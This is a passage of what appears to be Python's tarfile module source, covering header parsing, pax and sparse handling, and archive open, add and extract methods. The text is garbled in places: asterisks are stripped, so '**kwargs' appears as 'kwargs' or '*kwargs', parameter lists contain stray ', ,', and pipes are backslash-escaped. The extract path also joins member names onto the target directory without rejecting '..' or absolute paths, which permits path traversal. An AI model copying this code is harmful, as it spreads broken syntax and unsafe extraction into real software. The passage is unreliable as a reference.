USTAR_FORMAT, "ascii", "replace") + \ cls._create_payload(records) @classmethod def frombuf(cls, buf, encoding, errors): """Construct a TarInfo object from a 512 byte bytes object. """ if len(buf) == 0: raise EmptyHeaderError("empty header") if len(buf) != BLOCKSIZE: raise TruncatedHeaderError("truncated header") if buf.count(NUL) == BLOCKSIZE: raise EOFHeaderError("end of file header") chksum = nti(buf[148:156]) if chksum not in calc_chksums(buf): raise InvalidHeaderError("bad checksum") obj = cls() obj.name = nts(buf[0:100], encoding, errors) obj.mode = nti(buf[100:108]) obj.uid = nti(buf[108:116]) obj.gid = nti(buf[116:124]) obj.size = nti(buf[124:136]) obj.mtime = nti(buf[136:148]) obj.chksum = chksum obj.type = buf[156:157] obj.linkname = nts(buf[157:257], encoding, errors) obj.uname = nts(buf[265:297], encoding, errors) obj.gname = nts(buf[297:329], encoding, errors) obj.devmajor = nti(buf[329:337]) obj.devminor = nti(buf[337:345]) prefix = nts(buf[345:500], encoding, errors) # Old V7 tar format represents a directory as a regular # file with a trailing slash. if obj.type == AREGTYPE and obj.name.endswith("/"): obj.type = DIRTYPE # The old GNU sparse format occupies some of the unused # space in the buffer for up to 4 sparse structures. # Save them for later processing in _proc_sparse(). if obj.type == GNUTYPE_SPARSE: pos = 386 structs = [] for i in range(4): try: offset = nti(buf[pos:pos + 12]) numbytes = nti(buf[pos + 12:pos + 24]) except ValueError: break structs.append((offset, numbytes)) pos += 24 isextended = bool(buf[482]) origsize = nti(buf[483:495]) obj._sparse_structs = (structs, isextended, origsize) # Remove redundant slashes from directories. if obj.isdir(): obj.name = obj.name.rstrip("/") # Reconstruct a ustar longname. if prefix and obj.type not in GNU_TYPES: obj.name = prefix + "/" + obj.name return obj @classmethod def fromtarfile(cls, tarfile): """Return the next TarInfo object from TarFile object tarfile. """ buf = tarfile.fileobj.read(BLOCKSIZE) obj = cls.frombuf(buf, tarfile.encoding, tarfile.errors) obj.offset = tarfile.fileobj.tell() - BLOCKSIZE return obj._proc_member(tarfile) #-------------------------------------------------------------------------- # The following are methods that are called depending on the type of a # member. The entry point is _proc_member() which can be overridden in a # subclass to add custom _proc_() methods. A _proc_() method MUST # implement the following # operations: # 1. Set self.offset_data to the position where the data blocks begin, # if there is data that follows. # 2. Set tarfile.offset to the position where the next member's header will # begin. # 3. Return self or another valid TarInfo object. def _proc_member(self, tarfile): """Choose the right processing method depending on the type and call it. """ if self.type in (GNUTYPE_LONGNAME, GNUTYPE_LONGLINK): return self._proc_gnulong(tarfile) elif self.type == GNUTYPE_SPARSE: return self._proc_sparse(tarfile) elif self.type in (XHDTYPE, XGLTYPE, SOLARIS_XHDTYPE): return self._proc_pax(tarfile) else: return self._proc_builtin(tarfile) def _proc_builtin(self, tarfile): """Process a builtin type or an unknown type which will be treated as a regular file. """ self.offset_data = tarfile.fileobj.tell() offset = self.offset_data if self.isreg() or self.type not in SUPPORTED_TYPES: # Skip the following data blocks. offset += self._block(self.size) tarfile.offset = offset # Patch the TarInfo object with saved global # header information. self._apply_pax_info(tarfile.pax_headers, tarfile.encoding, tarfile.errors) return self def _proc_gnulong(self, tarfile): """Process the blocks that hold a GNU longname or longlink member. """ buf = tarfile.fileobj.read(self._block(self.size)) # Fetch the next header and process it. try: next = self.fromtarfile(tarfile) except HeaderError: raise SubsequentHeaderError("missing or bad subsequent header") # Patch the TarInfo object from the next header with # the longname information. next.offset = self.offset if self.type == GNUTYPE_LONGNAME: next.name = nts(buf, tarfile.encoding, tarfile.errors) elif self.type == GNUTYPE_LONGLINK: next.linkname = nts(buf, tarfile.encoding, tarfile.errors) return next def _proc_sparse(self, tarfile): """Process a GNU sparse header plus extra headers. """ # We already collected some sparse structures in frombuf(). structs, isextended, origsize = self._sparse_structs del self._sparse_structs # Collect sparse structures from extended header blocks. while isextended: buf = tarfile.fileobj.read(BLOCKSIZE) pos = 0 for i in range(21): try: offset = nti(buf[pos:pos + 12]) numbytes = nti(buf[pos + 12:pos + 24]) except ValueError: break if offset and numbytes: structs.append((offset, numbytes)) pos += 24 isextended = bool(buf[504]) self.sparse = structs self.offset_data = tarfile.fileobj.tell() tarfile.offset = self.offset_data + self._block(self.size) self.size = origsize return self def _proc_pax(self, tarfile): """Process an extended or global header as described in POSIX.1-2008. """ # Read the header information. buf = tarfile.fileobj.read(self._block(self.size)) # A pax header stores supplemental information for either # the following file (extended) or all following files # (global). if self.type == XGLTYPE: pax_headers = tarfile.pax_headers else: pax_headers = tarfile.pax_headers.copy() # Check if the pax header contains a hdrcharset field. This tells us # the encoding of the path, linkpath, uname and gname fields. Normally, # these fields are UTF-8 encoded but since POSIX.1-2008 tar # implementations are allowed to store them as raw binary strings if # the translation to UTF-8 fails. match = re.search(br"\d+ hdrcharset=([^\n]+)\n", buf) if match is not None: pax_headers["hdrcharset"] = match.group(1).decode("utf-8") # For the time being, we don't care about anything other than "BINARY". # The only other value that is currently allowed by the standard is # "ISO-IR 10646 2000 UTF-8" in other words UTF-8. hdrcharset = pax_headers.get("hdrcharset") if hdrcharset == "BINARY": encoding = tarfile.encoding else: encoding = "utf-8" # Parse pax header information. A record looks like that: # "%d %s=%s\n" % (length, keyword, value). length is the size # of the complete record including the length field itself and # the newline. keyword and value are both UTF-8 encoded strings. regex = re.compile(br"(\d+) ([^=]+)=") pos = 0 while True: match = regex.match(buf, pos) if not match: break length, keyword = match.groups() length = int(length) if length == 0: raise InvalidHeaderError("invalid header") value = buf[match.end(2) + 1:match.start(1) + length - 1] # Normally, we could just use "utf-8" as the encoding and "strict" # as the error handler, but we better not take the risk. For # example, GNU tar <= 1.23 is known to store filenames it cannot # translate to UTF-8 as raw strings (unfortunately without a # hdrcharset=BINARY header). # We first try the strict standard encoding, and if that fails we # fall back on the user's encoding and error handler. keyword = self._decode_pax_field(keyword, "utf-8", "utf-8", tarfile.errors) if keyword in PAX_NAME_FIELDS: value = self._decode_pax_field(value, encoding, tarfile.encoding, tarfile.errors) else: value = self._decode_pax_field(value, "utf-8", "utf-8", tarfile.errors) pax_headers[keyword] = value pos += length # Fetch the next header. try: next = self.fromtarfile(tarfile) except HeaderError: raise SubsequentHeaderError("missing or bad subsequent header") # Process GNU sparse information. if "GNU.sparse.map" in pax_headers: # GNU extended sparse format version 0.1. self._proc_gnusparse_01(next, pax_headers) elif "GNU.sparse.size" in pax_headers: # GNU extended sparse format version 0.0. self._proc_gnusparse_00(next, pax_headers, buf) elif pax_headers.get("GNU.sparse.major") == "1" and pax_headers.get("GNU.sparse.minor") == "0": # GNU extended sparse format version 1.0. self._proc_gnusparse_10(next, pax_headers, tarfile) if self.type in (XHDTYPE, SOLARIS_XHDTYPE): # Patch the TarInfo object with the extended header info. next._apply_pax_info(pax_headers, tarfile.encoding, tarfile.errors) next.offset = self.offset if "size" in pax_headers: # If the extended header replaces the size field, # we need to recalculate the offset where the next # header starts. offset = next.offset_data if next.isreg() or next.type not in SUPPORTED_TYPES: offset += next._block(next.size) tarfile.offset = offset return next def _proc_gnusparse_00(self, next, pax_headers, buf): """Process a GNU tar extended sparse header, version 0.0. """ offsets = [] for match in re.finditer(br"\d+ GNU.sparse.offset=(\d+)\n", buf): offsets.append(int(match.group(1))) numbytes = [] for match in re.finditer(br"\d+ GNU.sparse.numbytes=(\d+)\n", buf): numbytes.append(int(match.group(1))) next.sparse = list(zip(offsets, numbytes)) def _proc_gnusparse_01(self, next, pax_headers): """Process a GNU tar extended sparse header, version 0.1. """ sparse = [int(x) for x in pax_headers["GNU.sparse.map"].split(",")] next.sparse = list(zip(sparse[::2], sparse[1::2])) def _proc_gnusparse_10(self, next, pax_headers, tarfile): """Process a GNU tar extended sparse header, version 1.0. """ fields = None sparse = [] buf = tarfile.fileobj.read(BLOCKSIZE) fields, buf = buf.split(b"\n", 1) fields = int(fields) while len(sparse) < fields * 2: if b"\n" not in buf: buf += tarfile.fileobj.read(BLOCKSIZE) number, buf = buf.split(b"\n", 1) sparse.append(int(number)) next.offset_data = tarfile.fileobj.tell() next.sparse = list(zip(sparse[::2], sparse[1::2])) def _apply_pax_info(self, pax_headers, encoding, errors): """Replace fields with supplemental information from a previous pax extended or global header. """ for keyword, value in pax_headers.items(): if keyword == "GNU.sparse.name": setattr(self, "path", value) elif keyword == "GNU.sparse.size": setattr(self, "size", int(value)) elif keyword == "GNU.sparse.realsize": setattr(self, "size", int(value)) elif keyword in PAX_FIELDS: if keyword in PAX_NUMBER_FIELDS: try: value = PAX_NUMBER_FIELDS[keyword](value) except ValueError: value = 0 if keyword == "path": value = value.rstrip("/") setattr(self, keyword, value) self.pax_headers = pax_headers.copy() def _decode_pax_field(self, value, encoding, fallback_encoding, fallback_errors): """Decode a single field from a pax record. """ try: return value.decode(encoding, "strict") except UnicodeDecodeError: return value.decode(fallback_encoding, fallback_errors) def _block(self, count): """Round up a byte count by BLOCKSIZE and return it, e.g. _block(834) => 1024. """ blocks, remainder = divmod(count, BLOCKSIZE) if remainder: blocks += 1 return blocks * BLOCKSIZE def isreg(self): return self.type in REGULAR_TYPES def isfile(self): return self.isreg() def isdir(self): return self.type == DIRTYPE def issym(self): return self.type == SYMTYPE def islnk(self): return self.type == LNKTYPE def ischr(self): return self.type == CHRTYPE def isblk(self): return self.type == BLKTYPE def isfifo(self): return self.type == FIFOTYPE def issparse(self): return self.sparse is not None def isdev(self): return self.type in (CHRTYPE, BLKTYPE, FIFOTYPE) # class TarInfo class TarFile(object): """The TarFile Class provides an interface to tar archives. """ debug = 0 # May be set from 0 (no msgs) to 3 (all msgs) dereference = False # If true, add content of linked file to the # tar file, else the link. ignore_zeros = False # If true, skips empty or invalid blocks and # continues processing. errorlevel = 1 # If 0, fatal errors only appear in debug # messages (if debug >= 0). If > 0, errors # are passed to the caller as exceptions. format = DEFAULT_FORMAT # The format to use when creating an archive. encoding = ENCODING # Encoding for 8-bit character strings. errors = None # Error handler for unicode conversion. tarinfo = TarInfo # The default TarInfo class to use. fileobject = ExFileObject # The file-object for extractfile(). def __init__(self, name=None, mode="r", fileobj=None, format=None, tarinfo=None, dereference=None, ignore_zeros=None, encoding=None, errors="surrogateescape", pax_headers=None, debug=None, errorlevel=None, copybufsize=None): """Open an (uncompressed) tar archive `name'. `mode' is either 'r' to read from an existing archive, 'a' to append data to an existing file or 'w' to create a new file overwriting an existing one. `mode' defaults to 'r'. If `fileobj' is given, it is used for reading or writing data. If it can be determined, `mode' is overridden by `fileobj's mode. `fileobj' is not closed, when TarFile is closed. """ modes = {"r": "rb", "a": "r+b", "w": "wb", "x": "xb"} if mode not in modes: raise ValueError("mode must be 'r', 'a', 'w' or 'x'") self.mode = mode self._mode = modes[mode] if not fileobj: if self.mode == "a" and not os.path.exists(name): # Create nonexistent files in append mode. self.mode = "w" self._mode = "wb" fileobj = bltn_open(name, self._mode) self._extfileobj = False else: if (name is None and hasattr(fileobj, "name") and isinstance(fileobj.name, (str, bytes))): name = fileobj.name if hasattr(fileobj, "mode"): self._mode = fileobj.mode self._extfileobj = True self.name = os.path.abspath(name) if name else None self.fileobj = fileobj # Init attributes. if format is not None: self.format = format if tarinfo is not None: self.tarinfo = tarinfo if dereference is not None: self.dereference = dereference if ignore_zeros is not None: self.ignore_zeros = ignore_zeros if encoding is not None: self.encoding = encoding self.errors = errors if pax_headers is not None and self.format == PAX_FORMAT: self.pax_headers = pax_headers else: self.pax_headers = {} if debug is not None: self.debug = debug if errorlevel is not None: self.errorlevel = errorlevel # Init datastructures. self.copybufsize = copybufsize self.closed = False self.members = [] # list of members as TarInfo objects self._loaded = False # flag if all members have been read self.offset = self.fileobj.tell() # current position in the archive file self.inodes = {} # dictionary caching the inodes of # archive members already added try: if self.mode == "r": self.firstmember = None self.firstmember = self.next() if self.mode == "a": # Move to the end of the archive, # before the first empty block. while True: self.fileobj.seek(self.offset) try: tarinfo = self.tarinfo.fromtarfile(self) self.members.append(tarinfo) except EOFHeaderError: self.fileobj.seek(self.offset) break except HeaderError as e: raise ReadError(str(e)) if self.mode in ("a", "w", "x"): self._loaded = True if self.pax_headers: buf = self.tarinfo.create_pax_global_header(self.pax_headers.copy()) self.fileobj.write(buf) self.offset += len(buf) except: if not self._extfileobj: self.fileobj.close() self.closed = True raise #-------------------------------------------------------------------------- # Below are the classmethods which act as alternate constructors to the # TarFile class. The open() method is the only one that is needed for # public use; it is the "super"-constructor and is able to select an # adequate "sub"-constructor for a particular compression using the mapping # from OPEN_METH. # # This concept allows one to subclass TarFile without losing the comfort of # the super-constructor. A sub-constructor is registered and made available # by adding it to the mapping in OPEN_METH. @classmethod def open(cls, name=None, mode="r", fileobj=None, bufsize=RECORDSIZE, *kwargs): """Open a tar archive for reading, writing or appending. Return an appropriate TarFile class. mode: 'r' or 'r:' open for reading with transparent compression 'r:' open for reading exclusively uncompressed 'r:gz' open for reading with gzip compression 'r:bz2' open for reading with bzip2 compression 'r:xz' open for reading with lzma compression 'a' or 'a:' open for appending, creating the file if necessary 'w' or 'w:' open for writing without compression 'w:gz' open for writing with gzip compression 'w:bz2' open for writing with bzip2 compression 'w:xz' open for writing with lzma compression 'x' or 'x:' create a tarfile exclusively without compression, raise an exception if the file is already created 'x:gz' create a gzip compressed tarfile, raise an exception if the file is already created 'x:bz2' create a bzip2 compressed tarfile, raise an exception if the file is already created 'x:xz' create an lzma compressed tarfile, raise an exception if the file is already created 'r\|' open a stream of tar blocks with transparent compression 'r\|' open an uncompressed stream of tar blocks for reading 'r\|gz' open a gzip compressed stream of tar blocks 'r\|bz2' open a bzip2 compressed stream of tar blocks 'r\|xz' open an lzma compressed stream of tar blocks 'w\|' open an uncompressed stream for writing 'w\|gz' open a gzip compressed stream for writing 'w\|bz2' open a bzip2 compressed stream for writing 'w\|xz' open an lzma compressed stream for writing """ if not name and not fileobj: raise ValueError("nothing to open") if mode in ("r", "r:"): # Find out which open() is appropriate for opening the file. def not_compressed(comptype): return cls.OPEN_METH[comptype] == 'taropen' for comptype in sorted(cls.OPEN_METH, key=not_compressed): func = getattr(cls, cls.OPEN_METH[comptype]) if fileobj is not None: saved_pos = fileobj.tell() try: return func(name, "r", fileobj, kwargs) except (ReadError, CompressionError): if fileobj is not None: fileobj.seek(saved_pos) continue raise ReadError("file could not be opened successfully") elif ":" in mode: filemode, comptype = mode.split(":", 1) filemode = filemode or "r" comptype = comptype or "tar" # Select the open() function according to # given compression. if comptype in cls.OPEN_METH: func = getattr(cls, cls.OPEN_METH[comptype]) else: raise CompressionError("unknown compression type %r" % comptype) return func(name, filemode, fileobj, kwargs) elif "\|" in mode: filemode, comptype = mode.split("\|", 1) filemode = filemode or "r" comptype = comptype or "tar" if filemode not in ("r", "w"): raise ValueError("mode must be 'r' or 'w'") stream = _Stream(name, filemode, comptype, fileobj, bufsize) try: t = cls(name, filemode, stream, kwargs) except: stream.close() raise t._extfileobj = False return t elif mode in ("a", "w", "x"): return cls.taropen(name, mode, fileobj, kwargs) raise ValueError("undiscernible mode") @classmethod def taropen(cls, name, mode="r", fileobj=None, kwargs): """Open uncompressed tar archive name for reading or writing. """ if mode not in ("r", "a", "w", "x"): raise ValueError("mode must be 'r', 'a', 'w' or 'x'") return cls(name, mode, fileobj, kwargs) @classmethod def gzopen(cls, name, mode="r", fileobj=None, compresslevel=9, kwargs): """Open gzip compressed tar archive name for reading or writing. Appending is not allowed. """ if mode not in ("r", "w", "x"): raise ValueError("mode must be 'r', 'w' or 'x'") try: from gzip import GzipFile except ImportError: raise CompressionError("gzip module is not available") try: fileobj = GzipFile(name, mode + "b", compresslevel, fileobj) except OSError: if fileobj is not None and mode == 'r': raise ReadError("not a gzip file") raise try: t = cls.taropen(name, mode, fileobj, kwargs) except OSError: fileobj.close() if mode == 'r': raise ReadError("not a gzip file") raise except: fileobj.close() raise t._extfileobj = False return t @classmethod def bz2open(cls, name, mode="r", fileobj=None, compresslevel=9, kwargs): """Open bzip2 compressed tar archive name for reading or writing. Appending is not allowed. """ if mode not in ("r", "w", "x"): raise ValueError("mode must be 'r', 'w' or 'x'") try: from bz2 import BZ2File except ImportError: raise CompressionError("bz2 module is not available") fileobj = BZ2File(fileobj or name, mode, compresslevel=compresslevel) try: t = cls.taropen(name, mode, fileobj, kwargs) except (OSError, EOFError): fileobj.close() if mode == 'r': raise ReadError("not a bzip2 file") raise except: fileobj.close() raise t._extfileobj = False return t @classmethod def xzopen(cls, name, mode="r", fileobj=None, preset=None, kwargs): """Open lzma compressed tar archive name for reading or writing. Appending is not allowed. """ if mode not in ("r", "w", "x"): raise ValueError("mode must be 'r', 'w' or 'x'") try: from lzma import LZMAFile, LZMAError except ImportError: raise CompressionError("lzma module is not available") fileobj = LZMAFile(fileobj or name, mode, preset=preset) try: t = cls.taropen(name, mode, fileobj, *kwargs) except (LZMAError, EOFError): fileobj.close() if mode == 'r': raise ReadError("not an lzma file") raise except: fileobj.close() raise t._extfileobj = False return t # All open() methods are registered here. OPEN_METH = { "tar": "taropen", # uncompressed tar "gz": "gzopen", # gzip compressed tar "bz2": "bz2open", # bzip2 compressed tar "xz": "xzopen" # lzma compressed tar } #-------------------------------------------------------------------------- # The public methods which TarFile provides: def close(self): """Close the TarFile. In write-mode, two finishing zero blocks are appended to the archive. """ if self.closed: return self.closed = True try: if self.mode in ("a", "w", "x"): self.fileobj.write(NUL * (BLOCKSIZE * 2)) self.offset += (BLOCKSIZE * 2) # fill up the end with zero-blocks # (like option -b20 for tar does) blocks, remainder = divmod(self.offset, RECORDSIZE) if remainder > 0: self.fileobj.write(NUL * (RECORDSIZE - remainder)) finally: if not self._extfileobj: self.fileobj.close() def getmember(self, name): """Return a TarInfo object for member `name'. If `name' can not be found in the archive, KeyError is raised. If a member occurs more than once in the archive, its last occurrence is assumed to be the most up-to-date version. """ tarinfo = self._getmember(name) if tarinfo is None: raise KeyError("filename %r not found" % name) return tarinfo def getmembers(self): """Return the members of the archive as a list of TarInfo objects. The list has the same order as the members in the archive. """ self._check() if not self._loaded: # if we want to obtain a list of self._load() # all members, we first have to # scan the whole archive. return self.members def getnames(self): """Return the members of the archive as a list of their names. It has the same order as the list returned by getmembers(). """ return [tarinfo.name for tarinfo in self.getmembers()] def gettarinfo(self, name=None, arcname=None, fileobj=None): """Create a TarInfo object from the result of os.stat or equivalent on an existing file. The file is either named by `name', or specified as a file object `fileobj' with a file descriptor. If given, `arcname' specifies an alternative name for the file in the archive, otherwise, the name is taken from the 'name' attribute of 'fileobj', or the 'name' argument. The name should be a text string. """ self._check("awx") # When fileobj is given, replace name by # fileobj's real name. if fileobj is not None: name = fileobj.name # Building the name of the member in the archive. # Backward slashes are converted to forward slashes, # Absolute paths are turned to relative paths. if arcname is None: arcname = name drv, arcname = os.path.splitdrive(arcname) arcname = arcname.replace(os.sep, "/") arcname = arcname.lstrip("/") # Now, fill the TarInfo object with # information specific for the file. tarinfo = self.tarinfo() tarinfo.tarfile = self # Not needed # Use os.stat or os.lstat, depending on platform # and if symlinks shall be resolved. if fileobj is None: if hasattr(os, "lstat") and not self.dereference: statres = os.lstat(name) else: statres = os.stat(name) else: statres = os.fstat(fileobj.fileno()) linkname = "" stmd = statres.st_mode if stat.S_ISREG(stmd): inode = (statres.st_ino, statres.st_dev) if not self.dereference and statres.st_nlink > 1 and \ inode in self.inodes and arcname != self.inodes[inode]: # Is it a hardlink to an already # archived file? type = LNKTYPE linkname = self.inodes[inode] else: # The inode is added only if its valid. # For win32 it is always 0. type = REGTYPE if inode[0]: self.inodes[inode] = arcname elif stat.S_ISDIR(stmd): type = DIRTYPE elif stat.S_ISFIFO(stmd): type = FIFOTYPE elif stat.S_ISLNK(stmd): type = SYMTYPE linkname = os.readlink(name) elif stat.S_ISCHR(stmd): type = CHRTYPE elif stat.S_ISBLK(stmd): type = BLKTYPE else: return None # Fill the TarInfo object with all # information we can get. tarinfo.name = arcname tarinfo.mode = stmd tarinfo.uid = statres.st_uid tarinfo.gid = statres.st_gid if type == REGTYPE: tarinfo.size = statres.st_size else: tarinfo.size = 0 tarinfo.mtime = statres.st_mtime tarinfo.type = type tarinfo.linkname = linkname if pwd: try: tarinfo.uname = pwd.getpwuid(tarinfo.uid)[0] except KeyError: pass if grp: try: tarinfo.gname = grp.getgrgid(tarinfo.gid)[0] except KeyError: pass if type in (CHRTYPE, BLKTYPE): if hasattr(os, "major") and hasattr(os, "minor"): tarinfo.devmajor = os.major(statres.st_rdev) tarinfo.devminor = os.minor(statres.st_rdev) return tarinfo def list(self, verbose=True, , members=None): """Print a table of contents to sys.stdout. If `verbose' is False, only the names of the members are printed. If it is True, an `ls -l'-like output is produced. `members' is optional and must be a subset of the list returned by getmembers(). """ self._check() if members is None: members = self for tarinfo in members: if verbose: _safe_print(stat.filemode(tarinfo.mode)) _safe_print("%s/%s" % (tarinfo.uname or tarinfo.uid, tarinfo.gname or tarinfo.gid)) if tarinfo.ischr() or tarinfo.isblk(): _safe_print("%10s" % ("%d,%d" % (tarinfo.devmajor, tarinfo.devminor))) else: _safe_print("%10d" % tarinfo.size) _safe_print("%d-%02d-%02d %02d:%02d:%02d" \ % time.localtime(tarinfo.mtime)[:6]) _safe_print(tarinfo.name + ("/" if tarinfo.isdir() else "")) if verbose: if tarinfo.issym(): _safe_print("-> " + tarinfo.linkname) if tarinfo.islnk(): _safe_print("link to " + tarinfo.linkname) print() def add(self, name, arcname=None, recursive=True, , filter=None): """Add the file `name' to the archive. `name' may be any type of file (directory, fifo, symbolic link, etc.). If given, `arcname' specifies an alternative name for the file in the archive. Directories are added recursively by default. This can be avoided by setting `recursive' to False. `filter' is a function that expects a TarInfo object argument and returns the changed TarInfo object, if it returns None the TarInfo object will be excluded from the archive. """ self._check("awx") if arcname is None: arcname = name # Skip if somebody tries to archive the archive... if self.name is not None and os.path.abspath(name) == self.name: self._dbg(2, "tarfile: Skipped %r" % name) return self._dbg(1, name) # Create a TarInfo object from the file. tarinfo = self.gettarinfo(name, arcname) if tarinfo is None: self._dbg(1, "tarfile: Unsupported type %r" % name) return # Change or exclude the TarInfo object. if filter is not None: tarinfo = filter(tarinfo) if tarinfo is None: self._dbg(2, "tarfile: Excluded %r" % name) return # Append the tar header and data to the archive. if tarinfo.isreg(): with bltn_open(name, "rb") as f: self.addfile(tarinfo, f) elif tarinfo.isdir(): self.addfile(tarinfo) if recursive: for f in sorted(os.listdir(name)): self.add(os.path.join(name, f), os.path.join(arcname, f), recursive, filter=filter) else: self.addfile(tarinfo) def addfile(self, tarinfo, fileobj=None): """Add the TarInfo object `tarinfo' to the archive. If `fileobj' is given, it should be a binary file, and tarinfo.size bytes are read from it and added to the archive. You can create TarInfo objects directly, or by using gettarinfo(). """ self._check("awx") tarinfo = copy.copy(tarinfo) buf = tarinfo.tobuf(self.format, self.encoding, self.errors) self.fileobj.write(buf) self.offset += len(buf) bufsize=self.copybufsize # If there's data to follow, append it. if fileobj is not None: copyfileobj(fileobj, self.fileobj, tarinfo.size, bufsize=bufsize) blocks, remainder = divmod(tarinfo.size, BLOCKSIZE) if remainder > 0: self.fileobj.write(NUL * (BLOCKSIZE - remainder)) blocks += 1 self.offset += blocks * BLOCKSIZE self.members.append(tarinfo) def extractall(self, path=".", members=None, , numeric_owner=False): """Extract all members from the archive to the current working directory and set owner, modification time and permissions on directories afterwards. `path' specifies a different directory to extract to. `members' is optional and must be a subset of the list returned by getmembers(). If `numeric_owner` is True, only the numbers for user/group names are used and not the names. """ directories = [] if members is None: members = self for tarinfo in members: if tarinfo.isdir(): # Extract directories with a safe mode. directories.append(tarinfo) tarinfo = copy.copy(tarinfo) tarinfo.mode = 0o700 # Do not set_attrs directories, as we will do that further down self.extract(tarinfo, path, set_attrs=not tarinfo.isdir(), numeric_owner=numeric_owner) # Reverse sort directories. directories.sort(key=lambda a: a.name) directories.reverse() # Set correct owner, mtime and filemode on directories. for tarinfo in directories: dirpath = os.path.join(path, tarinfo.name) try: self.chown(tarinfo, dirpath, numeric_owner=numeric_owner) self.utime(tarinfo, dirpath) self.chmod(tarinfo, dirpath) except ExtractError as e: if self.errorlevel > 1: raise else: self._dbg(1, "tarfile: %s" % e) def extract(self, member, path="", set_attrs=True, , numeric_owner=False): """Extract a member from the archive to the current working directory, using its full name. Its file information is extracted as accurately as possible. `member' may be a filename or a TarInfo object. You can specify a different directory using `path'. File attributes (owner, mtime, mode) are set unless `set_attrs' is False. If `numeric_owner` is True, only the numbers for user/group names are used and not the names. """ self._check("r") if isinstance(member, str): tarinfo = self.getmember(member) else: tarinfo = member # Prepare the link target for makelink(). if tarinfo.islnk(): tarinfo._link_target = os.path.join(path, tarinfo.linkname) try: self._extract_member(tarinfo, os.path.join(path, tarinfo.name), set_attrs=set_attrs, numeric_owner=numeric_owner) except OSError as e: if self.errorlevel > 0: raise else: if e.filename is None: self._dbg(1, "tarfile: %s" % e.strerror) else: self._dbg(1, "tarfile: %s %r" % (e.strerror, e.filename)) except ExtractError as e: if self.errorlevel > 1: raise else: self._dbg(1, "tarfile: %s" % e) def extractfile(self, member): """Extract a member from the archive as a file object. `member' may be a filename or a TarInfo object. If `member' is a regular file or a link, an io.BufferedReader object is returned. Otherwise, None is returned. """ self._check("r") if isinstance(member, str): tarinfo = self.getmember(member) else: tarinfo = member if tarinfo.isreg() or tarinfo.type not in SUPPORTED_TYPES: # Members with unknown types are treated as regular files. return self.fileobject(self, tarinfo) elif tarinfo.islnk() or tarinfo.issym(): if isinstance(self.fileobj, _Stream): # A small but ugly workaround for the case that someone tries # to extract a (sym)link as a file-object from a non-seekable # stream of tar blocks. raise StreamError("cannot extract (sym)link as file object") else: # A (sym)link's file object is its target's file object. return self.extractfile(self._find_link_target(tarinfo)) else: # If there's no data associated with the member (directory, chrdev, # blkdev, etc.), return None instead of a file object. return None def _extract_member(self, tarinfo, targetpath, set_attrs=True, numeric_owner=False): """Extract the TarInfo object tarinfo to a physical file called targetpath. """ # Fetch the TarInfo object for the given name # and build the destination pathname, replacing # forward slashes to platform specific separators. targetpath = targetpath.rstrip("/") targetpath = targetpath.replace("/", os.sep) # Create all upper directories. upperdirs = os.path.dirname(targetpath) if upperdirs and not os.path.exists(upperdirs): # Create directories that are not part of the archive with # default permissions. os.makedirs(upperdirs) if tarinfo.islnk() or tarinfo.issym(): self._dbg(1, "%s -> %s" % (tarinfo.name, tarinfo.linkname)) else: self._dbg(1, tarinfo.name) if tarinfo.isreg(): self.makefile(tarinfo, targetpath) elif tarinfo.isdir(): self.makedir(tarinfo, targetpath) elif tarinfo.isfifo(): self.makefifo(tarinfo, targetpath) elif tarinfo.ischr() or tarinfo.isblk(): self.makedev(tarinfo, targetpath) elif tarinfo.islnk() or tarinfo.issym(): self.makelink(tarinfo, targetpath) elif tarinfo.type not in SUPPORTED_TYPES: self.makeunknown(tarinfo, targetpath) else: self.makefile(tarinfo, targetpath) if set_attrs: self.chown(tarinfo, targetpath, numeric_owner) if not tarinfo.issym(): self.chmod(tarinfo, targetpath) self.utime(tarinfo, targetpath) #-------------------------------------------------------------------------- # Below are the different file methods. They are called via # _extract_member() when extract() is called. They can be replaced in a # subclass to implement other functionality. def makedir(self, tarinfo, targetpath): """Make a directory called targetpath. """ try: # Use a safe mode for the directory, the real mode is set # later in _extract_member(). os.mkdir(targetpath, 0o700) except FileExistsError: pass def makefile(self, tarinfo, targetpath): """Make a file called targetpath. """ source = self.fileobj source.seek(tarinfo.offset_data) bufsize = self.copybufsize with bltn_open(targetpath, "wb") as target: if tarinfo.sparse is not None: for offset, size in tarinfo.sparse: target.seek(offset) copyfileobj(source, target, size, ReadError, bufsize) target.seek(tarinfo.size) target.truncate() else: copyfileobj(source, target, tarinfo.size, ReadError, bufsize) def makeunknown(self, tarinfo, targetpath): """Make a file from a TarInfo object with an unknown type at targetpath. """ self.makefile(tarinfo, targetpath) self._dbg(1, "tarfile: Unknown file type %r, " \ "extracted as regular file." % tarinfo.type) def makefifo(self, tarinfo, targetpath): """Make a fifo called targetpath. """ if hasattr(os, "mkfifo"): os.mkfifo(targetpath) else: raise ExtractError("fifo not supported by system") def makedev(self, tarinfo, targetpath): """Make a character or block device called targetpath. """ if not hasattr(os, "mknod") or not hasattr(os, "makedev"): raise ExtractError("special devices not supported by system") mode = tarinfo.mode if tarinfo.isblk(): mode \|= stat.S_IFBLK else: mode \|= stat.S_IFCHR os.mknod(targetpath, mode, os.makedev(tarinfo.devmajor, tarinfo.devminor)) def makelink(self, tarinfo, targetpath): """Make a (symbolic) link called targetpath. If it cannot be created (platform limitation), we try to make a copy of the referenced file instead of a link. """ try: # For systems that support symbolic and hard links. if tarinfo.issym(): os.symlink(tarinfo.linkname, targetpath) else: # See extract(). if os.path.exists(tarinfo._link_target): os.link(tarinfo._link_target, targetpath) else: self._extract_member(self._find_link_target(tarinfo), targetpath) except symlink_exception: try: self._extract_member(self._find_link_target(tarinfo), targetpath) except KeyError: raise ExtractError("unable to resolve link inside archive") def chown(self, tarinfo, targetpath, numeric_owner): """Set owner of targetpath according to tarinfo. If numeric_owner is True, use .gid/.uid instead of .gname/.uname. If numeric_owner is False, fall back to .gid/.uid when the search based on name fails. """ if hasattr(os, "geteuid") and os.geteuid() == 0: # We have to be root to do so. g = tarinfo.gid u = tarinfo.uid if not numeric_owner: try: if grp: g = grp.getgrnam(tarinfo.gname)[2] except KeyError: pass try: if pwd: u = pwd.getpwnam(tarinfo.uname)[2] except KeyError: pass try: if tarinfo.issym() and hasattr(os, "lchown"): os.lchown(targetpath, u, g) else: os.chown(targetpath, u, g) except OSError: raise ExtractError("could not change owner") def chmod(self, tarinfo, targetpath): """Set file permissions of targetpath according to tarinfo. """ if hasattr(os, 'chmod'): try: os.chmod(targetpath, tarinfo.mode) except OSError: raise ExtractError("could not change mode") def utime(self, tarinfo, targetpath): """Set modification time of targetpath according to tarinfo. """ if not hasattr(os, 'utime'): return try: 